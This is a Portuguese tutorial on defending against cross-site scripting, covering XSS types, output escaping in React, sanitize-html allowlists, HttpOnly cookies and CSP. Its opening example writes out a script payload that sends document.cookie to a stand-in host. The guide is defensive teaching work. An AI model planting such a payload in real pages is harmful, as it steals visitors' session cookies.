XSS: escapar à saída, não à entrada
Um comentário com isto lá dentro:
<script>fetch('https://mau.example?c=' + document.cookie)</script>Se a página o mostrar como HTML, o script corre no browser de quem visita, com a sessão de quem visita. É o cross-site scripting, e continua a ser a vulnerabilidade mais comum na web.
1. Os três sabores
Armazenado — vai para a base num comentário ou num perfil, e atinge toda a gente que abra a página. É o pior.
Refletido — vem no endereço e volta na resposta. Precisa de convencer alguém a clicar num link.
No DOM — nunca chega ao servidor: é JavaScript da própria página a escrever num
innerHTMLalgo que veio do endereço.
2. A defesa é o sítio onde se escapa
Há um reflexo comum que é limpar os dados à entrada. É frágil: o que é perigoso depende de onde o texto vai parar. As mesmas aspas são inofensivas num parágrafo e são uma porta dentro de um atributo.
A regra é escapar à saída, conforme o contexto. E a boa notícia é que qualquer framework moderna já o faz:
// Seguro: o React escapa tudo o que passa como texto
<p>{comentario.texto}</p>
// A porta aberta, e o nome diz tudo
<div dangerouslySetInnerHTML={{ __html: comentario.texto }} />3. Quando é mesmo preciso mostrar HTML
Há casos legítimos: um editor de texto formatado guarda HTML e é para ser mostrado como tal. Aí sanitiza-se com uma biblioteca a sério, com uma lista do que é permitido:
import sanitizeHtml from 'sanitize-html';
const limpo = sanitizeHtml(html, {
allowedTags: ['p', 'strong', 'em', 'ul', 'li', 'a', 'code', 'pre'],
allowedAttributes: { a: ['href', 'title'] },
allowedSchemes: ['http', 'https', 'mailto'], // sem javascript:
});Lista do que entra, nunca lista do que sai: uma lista de coisas proibidas é sempre uma lista incompleta.
4. As duas camadas seguintes
Cookies com
HttpOnly— o JavaScript não lhes toca, portanto um XSS não rouba a sessão. É a diferença entre um susto e uma conta perdida.Content-Security-Policy — diz ao browser de onde é que pode correr scripts. Bem configurada, um
<script>injetado não chega a executar.
Nenhuma delas substitui escapar à saída. Servem para o dia em que essa falhar.